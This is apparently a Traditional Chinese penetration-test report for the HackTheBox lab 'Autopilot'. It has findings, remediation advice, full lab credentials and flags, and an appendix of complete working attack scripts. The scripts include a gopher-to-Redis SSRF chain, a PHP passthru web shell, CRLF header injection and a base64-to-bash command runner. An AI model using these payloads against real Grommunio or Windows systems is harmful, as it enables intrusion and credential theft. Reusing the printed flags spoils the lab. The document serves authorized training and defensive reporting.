HTB Autopilot

全流程滲透測試 SOP 與技術報告

靶機：10.129.166.127 ｜ 日期：2026-11-06 ｜ 繁體中文

結果：取得 Linux root 與 Windows Domain Admin，讀取 user.txt、root.txt，並於 HTB Autopilot 頁面提交兩個旗標。

本文件含測試範圍、可重現 SOP、攻擊流程圖、漏洞與修補建議、命令及腳本全文、證據摘錄、旗標與測後清理。依委託要求，靶機憑證與旗標均完整記錄。

授權：使用者明確授權完整 HTB lab 測試及自動提交旗標 PDF 版本：1.0

1. 執行摘要

使用提供的 Deborah 帳密登入 Grommunio 後，串接 Files/Seafile SSRF、Redis route cache 污染與受控 include，取得 grofiles 命令執行。接著利用 Grommunio Admin API DBConf/Postfix 設定鏈取得 Linux root。以 Chisel pivot 進入 172.16.20.0/24，發現 WS02 未強制 SMB signing，將 NTLM relay 至 SMB 取得 Stephanie 的 Thunderbird profile 與 runas.exe。還原儲存憑證、解出程式內 XOR 混淆的 Domain Admin 密碼，再透過 SMB C$ 讀取 Administrator 桌面 root.txt。另調查 Joshua 的 S/MIME 私鑰並離線破解 PKCS#12 密碼，取得 service account 憑證。

項目	結果
外部入口	HTTPS/443 nginx；Grommunio 與 Files 功能
Linux 權限	grofiles RCE → root；Postfix/DBConf 設定鏈
Windows 權限	IMAP NTLM relay → WS02 → Stephanie → Domain Admin
旗標	user.txt、root.txt 均取得及提交
掃描限制	全埠 TCP 掃描 300 秒逾時；不得據此聲稱只有 443 開放
清理	Postfix 設定與 admin hash 還原；測試帳號、草稿、檔案、SUID 與 pivot 清除

限制：此 SOP 為 HTB Autopilot 實驗室復現。未授權系統不得執行其中 SSRF、NTLM relay、密碼還原或權限提升步驟。

2. 範圍、授權與方法

欄位	內容
目標	10.129.166.127；經該主機 pivot 後可達的 172.16.20.0/24
授權	使用者明確授權完整滲透測試、取得兩旗標、必要時下載工具、排障與自動提交
初始帳密	deborah.hernandez / 8F5cgp@tC8g@
工具	Nmap、Python requests、Impacket/SMB、BloodHound.py、Certipy、Firepwd、Hashcat、OpenSSL、Chisel、自製驗證腳本
流程	外部盤點 → Web/API → 主機提升權限 → pivot/AD → 旗標 → 復原清理

3. 攻擊流程圖



圖 1：成功路徑。Joshua S/MIME/SA 是額外枚舉支線，非最終 root 必要條件。

4. 偵察與證據

先掃常見 TCP 服務埠，再確認 HTTPS/443 與主機名稱。全埠掃描設定 300 秒 host timeout 後逾時；因此只把 443 記為已確認 open，其餘標示 filtered 或未確認，不推論 closed。

外部 TCP/443 已確認 — nmap-443.nmap

```
443/tcp open ssl/http nginx
Host up; latency ~0.21s
```

掃描覆蓋限制 — nmap-priority-tcp.nmap / nmap-full-tcp-fast.nmap

```
□□□□□ filtered / no-response
□□□□□□ 300.02s
□□□□□□ 443 □□
```

4.1 Web、API 與 SSRF

登入 Grommunio，檢視 Files/Seafile 後端、附件匯入、下載、Autodiscover 與郵件功能。Seafile server_ssl 欄位型別處理、附件下載 SSRF 與內部 Redis route cache 可串接。使用完整主機名稱 autopilot.htb 作 Redis cache key；短名稱測試會回 404。

4.2 主機與內網

以 grofiles 命令執行讀取 Postfix map 設定中的 DB 連線資訊。Admin API DBConf 的 #POSTCONF hook、可寫 daemon_directory 與 root 執行的 postfix-script 可串成 root 提權。使用 Chisel SOCKS 探測內網必要服務，識別 Grommunio 172.16.20.10、WS02 172.16.20.15、DC01 172.16.20.1。

SMB2 negotiate security_mode — evidence/smb-signing-negotiate.txt

```
DC01 via 1445: security_mode=0x03
signing_enabled=True signing_required=True
WS02 via 2445: security_mode=0x01
signing_enabled=True signing_required=False
```

4.3 AD 與憑證檢查

LDAP/BloodHound 匯出 52 位使用者、3 台電腦，檢視群組、ACL、憑證範本與 CA。DC01 強制 SMB signing；WS02 未強制。ADCS 未發現 Deborah 可直接利用的低權限範本：WebServerGrommunio 僅限 DA/EA；SecureEmail 要求一位授權簽署者。

5. 可重現攻擊 SOP

步驟 0｜準備：啟用 Autopilot，確認 HTB VPN 與路由，只將 10.129.166.127 設為外部目標。安裝 requests；依需要下載 Chisel、Firepwd、Hashcat 字典。證據寫入 reports/autopilot_2026-11-06。

```
python3 -m venv .venv
. .venv/bin/activate
python -m pip install -r reports/autopilot_2026-11-06/scripts/requirements.txt
nmap -Pn -n -sT -sV -p443 --reason -oA reports/autopilot_2026-11-06/nmap-443 10.129.166.127
```

步驟 1 | 登入與 SSRF → grofiles：使用提供的 Deborah 帳密登入，設定本機 vhost proxy。以 WebDAV 上傳僅供 include 驗證的 PHP 文字檔；透過 Seafile 附件功能構造 localhost Gopher SSRF，對 Redis 寫入有 TTL 的 route cache，觸發 /files/index.php include。以 id、pwd 等低影響命令確認 grofiles。使用腳本 redis_route_foothold.py；密碼由互動 getpass 輸入。

```
python3 reports/autopilot_2026-11-06/scripts/redis_route_foothold.py --help
# □ --help □□□□□□□ mail.autopilot.htb / autopilot.htb vhost proxy
# □□ cache host key □□□ FQDN autopilot.htb
```

步驟 2 | Linux root：讀取 map DB credential，備份 admin hash，設隨機臨時 admin 密碼並經 Admin API 取得權杖。將 DBConf commit_file 設為 #POSTCONF，daemon_directory 指向可寫目錄，在該目錄建立 postfix-script。Postfix 以 root 執行該 script，由其建立 SUID Bash。以 rootbash -p -c id 驗證。

```
bash reports/autopilot_2026-11-06/scripts/admin_api_prepare.sh
bash reports/autopilot_2026-11-06/scripts/postfix_root_escalate.sh
# □□ rootbash mode □ id □□□□□□□□□□□□
```

步驟 3 | Pivot：在 Linux root 端啟動 Chisel reverse client，由測試機建立 SOCKS proxy。只掃描內網 SMB、LDAP、DNS、WinRM 等必要埠。

```
python3 reports/autopilot_2026-11-06/scripts/socks_scan.py --help
python3 reports/autopilot_2026-11-06/scripts/check_smb_signing.py --help
```

步驟 4 | NTLM relay：以 SMB2 原始 negotiate security_mode 確認 WS02 未強制 signing；DC01 要求 signing。只將受控 IMAP/NTLM relay listener 指向 WS02 SMB。成功後列出 shares，取回指定 Thunderbird profile、runas.exe。

Relay 與檔案存取證據 — evidence/imap-ntlm-relay.log

```
RELAY_SUCCESS AUTOPILOT\\stephanie.lewis target=WS02
SHARES=ADMIN$,C$,IPC$
□□ logins.json□key4.db□prefs.js
□□ stephanie.lewis/Videos/runas.exe
```

步驟 5 | 密碼與 DA：Firepwd 使用 profile 的 logins.json/key4.db 解密儲存密碼；profile 未設 Primary Password。取得 Stephanie 帳密後驗證 SMB C$。Go runas.exe 內含固定 passwordCipher/passwordKey，使用 decode_runas_go.py 做 XOR 還原 da-stephanie.lewis 密碼，再驗證 Domain Admin 權限。

步驟 6 | S/MIME 支線：PKCS#12 轉 Hashcat mode 24430，使用 RockYou 離線猜測得到密碼 (pilot)1177。OpenSSL 驗證憑證並解密簽章郵件，取得 sa-joshua.harris 帳密；該帳號屬 System Administrators 與 DnsAdmins。此路徑非 root 必要條件。

步驟 7 | 旗標：以 SMB C$ 讀取 C:\\Users\\Administrator\\Desktop\\root.txt；另讀取 user.txt。旗標值均已提交指定 HTB Autopilot 頁面。UI 顯示 You have solved Autopilot!，Pwn Date 2026-11-06，Rank #1704。原始 UI 截圖未另存；本報告不把後製文字卡冒稱截圖。

6. 發現、影響與修補

F-01 | Seafile SSRF/Gopher + Redis route cache 污染導致 grofiles RCE

屬性	內容
嚴重度	Critical
弱點與影響	後端 URL/SSL 欄位驗證不足，附件下載可請求 localhost；Redis route cache 可被注入，/files/index.php include 讀取可控內容。已提供的 Deborah 帳號可達 grofiles 命令執行。
修補建議	allowlist scheme/host/port 並驗證 SSL 為布林；拒絕 gopher/file；阻擋 loopback、link-local、私網 SSRF；Redis 使用 ACL、專用帳號與隔離 socket/key namespace；修補 Files/Seafile 與動態路由 include。回歸測試應證明附件不可寫 Redis、不可存取 localhost 或 include 外部檔案。

F-02 | Grommunio DBConf/Postfix 設定寫入造成 Linux root

屬性	內容
嚴重度	Critical
弱點與影響	一般服務身分可讀 DB credential；Admin API DBConf 的 #POSTCONF hook 可配置；daemon_directory 可改到低權限可寫位置，root Postfix 執行同目錄 postfix-script。測試已取得 root。
修補建議	撤銷 grofiles 對 DB credential 的讀取並輪替 DB/admin 密碼；DBConf 命令 hook 僅允許固定審核鍵；daemon_directory 固定 root 擁有且不可寫目錄；Postfix 使用完整路徑；監控 SUID 與設定變更。

F-03 | WS02 SMB signing 未強制，允許 NTLM relay

屬性	內容
嚴重度	High
弱點與影響	WS02 security_mode=0x01，signing enabled 但 required bit 未設定；受控 relay 成功以 AUTOPILOT\\stephanie.lewis 存取 WS02 C$。
修補建議	GPO 強制 SMB signing；限制 NTLM；部署 EPA/channel binding/Kerberos；強制 IMAP TLS 伺服器驗證；移除不必要管理 shares。

F-04 | Thunderbird profile 儲存憑證可被離線還原

屬性	內容
嚴重度	High
弱點與影響	取得 logins.json/key4.db 後以 Firepwd 還原 Stephanie 密碼；未設定 Primary Password，且密碼可用於 SMB。
修補建議	輪替洩漏密碼；端點磁碟加密與 profile ACL；禁止在郵件用戶端儲存管理密碼；密碼管理器與 MFA；降低 NTLM。

F-05 | runas.exe 內嵌 DA 密碼並以固定 XOR 混淆

屬性	內容
嚴重度	Critical
弱點與影響	Go binary passwordCipher/passwordKey 靜態資料可逆向，XOR 不提供保密性；還原 da-stephanie.lewis 密碼並取得 Domain Admin。
修補建議	立即輪替 DA 密碼；移除二進位秘密；改用 gMSA、受限服務身分或安全秘密注入；縮小 DA 登入面並稽核高權限登入。

F-06 | S/MIME 私鑰與弱 PKCS#12 密碼洩漏 service account

屬性	內容
嚴重度	High
弱點與影響	郵件/儲存區含可取得的 PKCS#12 私鑰；密碼 (pilot)1177 可由常見字典猜中；簽章郵件揭露 sa-joshua.harris 密碼。
修補建議	撤銷並重簽憑證、輪替帳密；限制私鑰匯出；使用強密碼與企業秘密管理；郵件 DLP；縮限 DnsAdmins 並監控 DNS 設定變更。

F-07 | AD 密碼政策最小長度與鎖定不足

屬性	內容
嚴重度	Medium
弱點與影響	LDAP policy 顯示 minPwdLength=7、lockoutThreshold=0，放大已洩漏憑證風險。
修補建議	最小長度提升至 14+ 或 passphrase；封鎖常見/洩漏密碼；風險型節流與 MFA；驗證政策套用到網域帳號。

7. AD 與憑證負向檢查

LDAP/BloodHound 列出 52 位使用者與 3 台電腦；AS-REP preauth disabled 清單為空；未發現一般服務帳號可直接 Kerberoast；沒有 gMSA。Deborah 的 AD ACL 審查未找到可直接寫入高權限物件的路徑。WebServerGrommunio 限制 DA/EA 登記；SecureEmail 要求一個授權簽署者，故未列為低權限可直接利用。

AD attack surface 摘要 — evidence/ad-attack-surface.txt

```
USERS count=52; COMPUTERS count=3
ASREP_PREAUTH_DISABLED=[]
GMSA_COUNT=0
minPwdLength=7; lockoutThreshold=0
```

8. 帳密與旗標完整值

用途	帳號/密碼或旗標
初始登入	deborah.hernandez / 8F5cgp@tC8g@
Stephanie mailbox/domain	stephanie.lewis@autopilot.htb / NKUOji@4bAJw
Domain Admin	da-stephanie.lewis / krFqXfDI1y4331
Service account	sa-joshua.harris / 65SskH37nyQ01S
S/MIME PKCS#12 密碼	(pilot)1177
svc_smime	一個先前已知的暴露密碼可成功驗證；原始測試未保存候選明文，無法從證據還原。
user.txt	d197d813f56368e1892d7e31ed18d821
root.txt	7ed655e1b8ddafa81505a75297a1c187

上述為本次 HTB 靶機的完整發現值，依使用者要求不遮蔽。svc_smime 的密碼重用成功有 password-reuse-check.txt 證據，但該次 getpass 輸入未保存；核對目前已列的五組憑證均未找回該候選值，因此不臆測或填入錯誤密碼。不得重用或移用至其他系統。

9. HTB 提交與測後清理

項目	結果
HTB	頁面顯示 You have solved Autopilot!；Pwn Date 2026-11-06；Rank #1704。兩旗標均提交。
Postfix	daemon_directory 還原 /usr/lib/postfix/bin；Postfix active。
DBConf	測試 commit hook/main.cf rows 刪除；assessment rows=0。
Admin 帳號	原 hash 還原；暫存密碼與 hash 檔刪除。
Linux artifacts	SUID autopilot-rootbash、postfix-script、/tmp/.chisel 與 forwarding 腳本移除；pivot 停止。
Files / drafts	WebDAV 測試檔 HEAD 404；測試帳號 0；Assessment 草稿 56 封刪除，再查符合項目為 0。
服務	Postfix 與 Grommunio IMAP active。
測試機	報告完成後停止 listener、proxy、forwarder 並刪除含明文秘密的 /tmp/autopilot-tools。

清理說明：目標 /etc 曾為 read-only bind mount，root shell 直接改檔失敗。之後透過支援的 Grommunio Admin API commit hook 還原 Postfix 設定，並以 grofiles 可讀的 map DB 權限刪除測試 DBConf 列。最終確認設定值、服務狀態與測試列數。

10. 修補優先級與驗收

時限	行動	驗收
立即	輪替 Deborah、Stephanie、DA、service account、Grommunio DB/admin 密碼；撤銷 S/MIME 私鑰/憑證	舊密碼驗證失敗；憑證撤銷；秘密掃描無有效高權限密碼
24 小時	修補 SSRF、Gopher、Redis route cache、DBConf hook 與 Postfix 目錄權限	loopback/gopher/任意 include 失敗；低權限無法讀 DB credential 或更改 DBConf
7 日	強制所有 SMB signing；限制 NTLM；保護 Thunderbird profile；移除 runas.exe 嵌入秘密	SMB negotiate signing_required=True；NTLM relay 失敗；靜態掃描無密碼
30 日	強化 AD 密碼/MFA、DnsAdmins 管控與高權限登入監控	政策符合基準；DNS/特權登入告警測試成功

11. 證據索引

路徑	內容
evidence/smb-signing-negotiate.txt	SMB2 security_mode 原始值
evidence/imap-ntlm-relay.log	relay 身分、分享與取得檔案
evidence/ad-attack-surface.txt	LDAP、群組、電腦與密碼政策
evidence/ad-acl-review.txt	AD ACL 輸出
evidence/certipy-dc01.txt / .json	CA/template 檢查
evidence/root.txt	root.txt 原始值
nmap-443.nmap；nmap-priority-tcp.nmap；nmap-full-tcp-fast.nmap	外部掃描與其限制
scripts/	採用的偵察、攻擊、驗證及復原腳本；附錄全文

12. 參考資料

Grommunio：[DBConf 文件](https://docs.grommunio.com/cli/grommunio-admin/dbconf/)；[Administration](https://docs.grommunio.com/admin/administration/)。

Microsoft：[MS-SMB2 negotiate security mode](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/3b29f3af-86f9-4962-8cf3-43471cb59363)。工具：[Firepwd](https://github.com/lclevy/firepwd)；[Chisel](https://github.com/jpillora/chisel/releases)；[BloodHound.py](https://github.com/dirkjanm/BloodHound.py)；[Hashcat PKCS#12 examples](https://hashcat.net/wiki/doku.php?id=example_hashes)。

13. 附錄 A｜檢測與攻擊腳本全文

以下逐份收錄本次採用的主要腳本全文。原檔保存在同目錄 scripts/。不含失敗除錯草稿；腳本用途限定於本次授權靶機。

腳本：requirements.txt

來源：scripts/requirements.txt | 完整原始內容

```
requests==2.34.2
```

腳本：redis_route_foothold.py

來源：scripts/redis_route_foothold.py | 完整原始內容

```
#!/usr/bin/env python3
"""Authorized Autopilot foothold: Seafile attachment SSRF -> Redis route cache.

This script uses the supplied Deborah account, an inert PHP-in-.txt file in her
own Files area, and a temporary 20-second route-cache entry. It sends no email.
It prints only statuses, object IDs, and command output; session cookies and
the injected authorization value stay in memory.
"""

from __future__ import annotations

import argparse
import base64
from email.message import EmailMessage
from email.policy import SMTP
from getpass import getpass
import json
import secrets
import time
from pathlib import Path
from urllib.parse import quote_from_bytes

import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

LOCAL_PROXY = "http://127.0.0.1:8082"
TARGET_HOST = "mail.autopilot.htb"
USERNAME = "deborah.hernandez"
REPO_ID = "11111111-1111-1111-1111-111111111111"
CACHE_PREFIX = "0080d9f8020c1c045f3ae6468d0c933a"
PAYLOAD_NAME = "autopilot_route_probe.txt"
PAYLOAD_REMOTE_PATH = f"/files/remote.php/dav/files/{USERNAME}/{PAYLOAD_NAME}"
PAYLOAD_ON_TARGET = f"/var/lib/grommunio-files/data/{USERNAME}/files/{PAYLOAD_NAME}"
USER_AGENT = "Mozilla/5.0 authorized-Autopilot-assessment"


def resp(*values: str | bytes | int) -> bytes:
    chunks = [f"*{len(values)}\r\n".encode()]
    for value in values:
        item = value if isinstance(value, bytes) else str(value).encode()
        chunks.extend((f"${len(item)}\r\n".encode(), item, b"\r\n"))
    return b"".join(chunks)


def gopher(commands: list[tuple[str | bytes | int, ...]]) -> str:
    payload = b"".join(resp(*command) for command in commands)
    return "gopher://127.0.0.1:6379/_" + quote_from_bytes(payload, safe="")


def route_json() -> str:
    routes = [
        False,
        {"/ctf": [[{"_route": "ctf", "file": PAYLOAD_ON_TARGET}, None, {"GET": 0}, None, False, False, N
one]]},
        [],
        {},
        None,
    ]
    return json.dumps(routes, separators=(",", ":"))


class Assessment:
    def __init__(self, username: str, password: str, cache_host: str, command: str,
                 target_host: str = TARGET_HOST, proxy_url: str = LOCAL_PROXY,
                 existing_account: str | None = None):
        self.username = username
        self.password = password
        self.cache_host = cache_host
        self.command = command
        self.existing_account = existing_account
        self.target_host = target_host
        self.session = requests.Session()
        self.session.verify = False
        self.session.trust_env = False
        self.session.headers.update({"User-Agent": USER_AGENT})
```

```
        self.base = proxy_url.rstrip("/")

    def cookie_header(self) -> str:
        return "; ".join(f"{cookie.name}={cookie.value}" for cookie in self.session.cookies)

    def request(self, method: str, path: str, **kwargs):
        headers = dict(kwargs.pop("headers", {}))
        headers.setdefault("Origin", self.base)
        headers.setdefault("Referer", self.base + "/web/")
        cookies = self.cookie_header()
        if cookies:
            headers["Cookie"] = cookies
        return self.session.request(method, self.base + path, headers=headers, timeout=30,
                                    allow_redirects=False, **kwargs)

    def login(self) -> None:
        self.request("GET", "/web/")
        result = self.request("POST", "/web/?logon", data={"username": self.username, "password": self.p
assword})
        if result.status_code != 303:
            raise RuntimeError(f"Grommunio login failed (HTTP {result.status_code})")
        self.request("GET", "/web/")
        print(f"login=ok cookies={len(self.session.cookies)} user={self.username}")

    def webapp(self, payload: dict):
        module_id = f"webapp_{int(time.time() * 1000)}"
        result = self.request("POST", f"/web/grommunio.php?subsystem={module_id}", json={"grommunio": pa
yload},
                              headers={"Content-Type": "application/json; charset=UTF-8"})
        if result.status_code != 200:
            raise RuntimeError(f"Grommunio RPC failed (HTTP {result.status_code})")
        try:
            return result.json()
        except Exception as error:
            raise RuntimeError(f"Grommunio RPC returned non-JSON (HTTP {result.status_code})") from erro
r

    def upload_php_text(self) -> None:
        source = (
            "<?php header('Content-Type: text/plain'); "
            "$c=$_GET['cmd']??'id'; @passthru($c.' 2>&1'); ?>\n"
        ).encode()
        result = self.request("PUT", PAYLOAD_REMOTE_PATH, data=source,
                              auth=(self.username, self.password),
                              headers={"Content-Type": "text/plain", "OCS-APIRequest": "true"})
        if result.status_code not in (201, 204):
            raise RuntimeError(f"WebDAV upload failed (HTTP {result.status_code})")
        print(f"webdav_upload=HTTP {result.status_code} bytes={len(source)}")

    def bootstrap_draft(self) -> tuple[str, str, str]:
        dialog = "mockattach" + secrets.token_hex(10)
        files = [
            ("attachments[]", ("ping.json", b'"pong"', "application/json")),
            ("attachments[]", ("repos.json", json.dumps([{
                "type": "repo", "name": "mock", "id": REPO_ID, "mtime": 0,
            }]).encode(), "application/json")),
            ("attachments[]", ("file.json", b'"http://127.0.0.1/statusmonitor"', "application/json")),
        ]
        uploaded = self.request(
            "POST",
            f"/web/index.php?load=upload_attachment&dialog_attachments={dialog}&module=createmailitemmod
ule&moduleid=1",
            data={"dialog_attachments": dialog, "ignore_extract_attachid": "true"},
            files=files,
        )
        try:
            upload_items = uploaded.json()["grommunio"]["createmailitemmodule"]["1"]["update"]["item"]
        except Exception as error:
            raise RuntimeError(f"attachment staging failed (HTTP {uploaded.status_code})") from error
        locations = ["mock/api2/ping/", "mock/api2/repos/", f"mock/api2/repos/{REPO_ID}/file/?p=/foo"]
        additions = []
        for item, location in zip(upload_items, locations):
            additions.append({"inline": True, "tmpname": item["props"]["tmpname"], "cid": location})
        save_body = {"createmailitemmodule": {"1": {"save": {
            "props": {"message_class": "IPM.Note", "subject": "Autopilot assessment attachment relay"},
            "attachments": {"dialog_attachments": dialog, "add": additions},
        }}}}
        saved = self.webapp(save_body)
        try:
            item = saved["grommunio"]["createmailitemmodule"]["1"]["update"]["item"]
            store_id = item["store_entryid"]
```

```
            folder_id = item["parent_entryid"]
        except Exception as error:
            raise RuntimeError("could not save staging draft") from error
        print(f"draft=created staged_attachments={len(upload_items)}")
        return store_id, folder_id, dialog

    def import_eml(self, store_id: str, folder_id: str) -> str:
        route_set, route_del = gopher([
            ("SETEX", f"{CACHE_PREFIX}/route{self.cache_host}#/files/index.php#rootCollection", 20, rout
e_json()),
            ("QUIT",),
        ]), gopher([
            ("DEL", f"{CACHE_PREFIX}/route{self.cache_host}#/files/index.php#rootCollection"),
            ("QUIT",),
        ])
        email = EmailMessage(policy=SMTP.clone(max_line_length=998))
        email["From"] = email["To"] = f"{self.username}@autopilot.htb"
        email["Subject"] = "Autopilot assessment route attachments"
        email.set_content("Controlled Seafile API response attachments for the authorized assessment.")
        responses = [
            ("mock/api2/ping/", json.dumps("pong")),
            ("mock/api2/server-info/", json.dumps({"version": "9.0.0", "features": []})),
            ("mock/api2/account/info/", json.dumps({"total": 1073741824, "usage": 0})),
            ("mock/api2/repos/", json.dumps([{"type": "repo", "name": "mock", "id": REPO_ID, "mtime": 0}
])),
            (f"mock/api2/repos/{REPO_ID}/file/?p=/route_exec", json.dumps(route_set)),
            (f"mock/api2/repos/{REPO_ID}/file/?p=/route_del", json.dumps(route_del)),
        ]
        for index, (location, body) in enumerate(responses):
            email.add_attachment(body.encode(), maintype="application", subtype="json", filename=f"respo
nse-{index}.json")
            email.get_payload()[-1]["Content-Location"] = location
        dialog = "mockattach" + secrets.token_hex(10)
        params = {
            "load": "upload_attachment", "module": "createmailitemmodule", "moduleid": "1",
            "dialog_attachments": dialog, "store": store_id, "destination_folder": folder_id,
            "import": "1", "ignore_extract_attachid": "true",
        }
        imported = self.request(
            "POST", "/web/index.php", params=params,
            data=params,
            files=[("attachments[]", ("assessment.eml", email.as_bytes(), "message/rfc822"))],
        )
        try:
            entry_id = imported.json()["grommunio"]["createmailitemmodule"]["1"]["import"]["items"]
        except Exception as error:
            raise RuntimeError(f"EML attachment import failed (HTTP {imported.status_code})") from error
        print(f"eml_import=ok response_attachments={len(responses)}")
        return entry_id

    def create_relay_account(self, store_id: str, message_id: str) -> str:
        cookie = self.cookie_header()
        injected = f"x\r\nCookie: {cookie}\r\nUser-Agent: {USER_AGENT}"
        server_path = (
            "web/index.php?load=download_attachment&store=" + store_id
            + "&entryid=" + message_id + "&attachCid=mock"
        )
        backend_config = {
            "server_address": self.target_host,
            "server_port": "443",
            "server_ssl": True,
            "server_path": server_path,
            "user": "@auth:token:deborah",
            "password": injected,
            "use_grommunio_credentials": False,
        }
        result = self.webapp({"filesaccountmodule": {"1": {"save": {"props": {
            "name": "Autopilot route cache assessment",
            "backend": "Seafile",
            "status": "ok",
            "backend_config": backend_config,
        }}}}})
        try:
            account = result["grommunio"]["filesaccountmodule"]["1"]["update"]["item"][0]
            account_id = account["entryid"]
            status = account.get("props", {}).get("status_description", account.get("props", {}).get("st
atus", "unknown"))
        except Exception as error:
            raise RuntimeError("Seafile relay account was not created") from error
        print(f"relay_account=created id={account_id} status={status}")
        return account_id
```

```
    def trigger(self, account_id: str, name: str) -> None:
        result = self.webapp({"filesbrowsermodule": {"1": {"downloadtotmp": {
            "ids": [f"#R#{account_id}/mock/{name}"],
            "dialog_attachments": "assessment" + secrets.token_hex(8),
        }}}})
        summary = result.get("grommunio", {}).get("filesbrowsermodule", {}).get("1", {})
        print(f"downloadtotmp={list(summary.keys())[:4] or 'response received'}")

    def execute(self, command: str) -> None:
        response = self.request("GET", f"/files/index.php/ctf?cmd={requests.utils.quote(command, safe=''
)}")
        print(f"route_http={response.status_code}")
        print(response.text[:6000])

    def run(self) -> None:
        self.login()
        if self.existing_account:
            print("[*] reusing the existing Files relay account")
            self.trigger(self.existing_account, "route_exec")
            self.execute(self.command)
            print("[*] deleting the temporary Redis route")
            self.trigger(self.existing_account, "route_del")
            return
        self.upload_php_text()
        store_id, folder_id, _ = self.bootstrap_draft()
        message_id = self.import_eml(store_id, folder_id)
        account_id = self.create_relay_account(store_id, message_id)
        print("[*] triggering Redis SETEX through the authenticated attachment endpoint")
        self.trigger(account_id, "route_exec")
        self.execute(self.command)
        print("[*] deleting the temporary Redis route")
        self.trigger(account_id, "route_del")


def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--host-cache", default=TARGET_HOST,
                        help="vhost component used in the route cache key")
    parser.add_argument("--target-host", default=TARGET_HOST,
                        help="certificate-valid Grommunio vhost used by the internal Seafile relay")
    parser.add_argument("--proxy-url", default=LOCAL_PROXY,
                        help="local fixed-vhost bridge URL")
    parser.add_argument("--existing-account",
                        help="reuse a previously created Files relay account instead of staging another"
)
    parser.add_argument("--command", default="id; hostname; ip -br addr",
                        help="command to run via the temporary route")
    parser.add_argument("--command-script", type=Path,
                        help="read a target-side shell script and execute its Base64-decoded content")
    args = parser.parse_args()
    command = args.command
    if args.command_script:
        encoded = base64.b64encode(args.command_script.read_bytes()).decode("ascii")
        command = f"printf %s '{encoded}' | base64 -d | bash"
    username = input("HTB account username: ").strip()
    password = getpass("HTB account password: ")
    try:
        Assessment(username, password, args.host_cache, command,
                   target_host=args.target_host, proxy_url=args.proxy_url,
                   existing_account=args.existing_account).run()
    finally:
        password = ""


if __name__ == "__main__":
    main()
```

腳本：fake_seafile.py

來源：scripts/fake_seafile.py | 完整原始內容

```
#!/usr/bin/env python3
"""Minimal Seafile API test double for the authorized Autopilot assessment.

Run it on the assessor's HTB VPN interface, then configure a Seafile account
in grommunio Files to point at that listener. The default download URL returns
plain text. For a controlled SSRF check, pass a gopher:// URL that sends a
harmless Redis PING command. The server deliberately logs request paths only;
it never logs request bodies or credentials.
"""

from __future__ import annotations

import argparse
import json
import ssl
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
from urllib.parse import urlsplit

REPO_ID = "21b941c2-5411-4372-a514-00b62ab99ef2"


class Handler(BaseHTTPRequestHandler):
    server_version = "SeafileTestDouble/1.0"

    def log_message(self, fmt: str, *args: object) -> None:
        # Keep the transcript useful without disclosing request credentials.
        command = getattr(self, "command", "PARSE")
        path = urlsplit(getattr(self, "path", "")).path
        print(f"{command} {path} [{self.client_address[0]}]")

    def send_json(self, value: object, status: int = 200) -> None:
        payload = json.dumps(value, separators=(",", ":")).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(payload)))
        self.send_header("Connection", "close")
        self.end_headers()
        self.wfile.write(payload)

    def do_POST(self) -> None:
        if urlsplit(self.path).path == "/api2/auth-token/":
            self.send_json({"token": "assessment-token"})
            return
        self.send_json({"error": "not found"}, 404)

    def do_GET(self) -> None:
        path = urlsplit(self.path).path
        if path == "/api2/ping/":
            self.send_json("pong")
        elif path == "/api2/server-info/":
            self.send_json({"version": "9.0.0", "features": []})
        elif path == "/api2/account/info/":
            self.send_json({"total": 1073741824, "usage": 0})
        elif path == "/api2/repos/":
            self.send_json([{
                "repo_id": REPO_ID,
                "id": REPO_ID,
                "repo_name": "Assessment",
                "name": "Assessment",
                "mtime": 0,
                "type": "repo",
                "size": 0,
                "permission": "rw",
                "encrypted": False,
            }])
        elif path == f"/api2/repos/{REPO_ID}/dir/":
            self.send_json([{
                "name": "probe.txt",
                "type": "file",
                "size": 8,
                "mtime": 0,
            }])
        elif path == f"/api2/repos/{REPO_ID}/file/":
            self.send_json(self.server.download_url)
        else:
            self.send_json({"error": "not found"}, 404)
```

```
def main() -> None:
    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument("--bind", default="0.0.0.0")
    parser.add_argument("--port", type=int, default=8888)
    parser.add_argument("--download-url", default="http://127.0.0.1:8888/probe.txt")
    parser.add_argument("--download-url-file", help="read one controlled download URL from a local file"
)
    parser.add_argument("--cert", help="PEM certificate for optional HTTPS testing")
    parser.add_argument("--key", help="PEM private key for optional HTTPS testing")
    args = parser.parse_args()
    server = ThreadingHTTPServer((args.bind, args.port), Handler)
    if args.download_url_file:
        with open(args.download_url_file, encoding="utf-8") as url_file:
            args.download_url = url_file.read().strip()
    server.download_url = args.download_url
    if bool(args.cert) != bool(args.key):
        parser.error("--cert and --key must be supplied together")
    if args.cert:
        context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        context.load_cert_chain(args.cert, args.key)
        server.socket = context.wrap_socket(server.socket, server_side=True)
        transport = "https"
    else:
        transport = "http"
    print(f"Listening on {transport}://{args.bind}:{args.port}; download URL scheme={urlsplit(args.downl
oad_url).scheme}")
    try:
        server.serve_forever()
    except KeyboardInterrupt:
        pass
    finally:
        server.server_close()


if __name__ == "__main__":
    main()
```

腳本：local_vhost_proxy.py

來源：scripts/local_vhost_proxy.py | 完整原始內容

```
#!/usr/bin/env python3
"""Loopback-only browser bridge to the scoped Autopilot HTTPS virtual host.

The remote destination and Host/SNI are fixed. Request headers/bodies are not
logged. Intended only to render the HTB page locally when autopilot.htb DNS is
unavailable; it is not a general-purpose proxy.
"""

from http.client import HTTPSConnection
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
import json
import gzip
import logging
import socket
import ssl
import argparse
import re
from urllib.parse import parse_qs, unquote_plus

TARGET_IP = "10.129.166.127"
VHOST = "autopilot.htb"
PORT = 443
LISTEN = ("127.0.0.1", 8081)
MAX_BODY = 32 * 1024 * 1024


def safe_path(path: str) -> str:
    """Redact the command-bearing route parameter from local proxy logs."""
    return re.sub(r"([?&]cmd=)[^&]*", r"\1[redacted]", path, flags=re.IGNORECASE)


class RoutedHTTPSConnection(HTTPSConnection):
    def connect(self):
        raw = socket.create_connection((TARGET_IP, PORT), self.timeout, self.source_address)
        self.sock = self._context.wrap_socket(raw, server_hostname=VHOST)


class ProxyHandler(BaseHTTPRequestHandler):
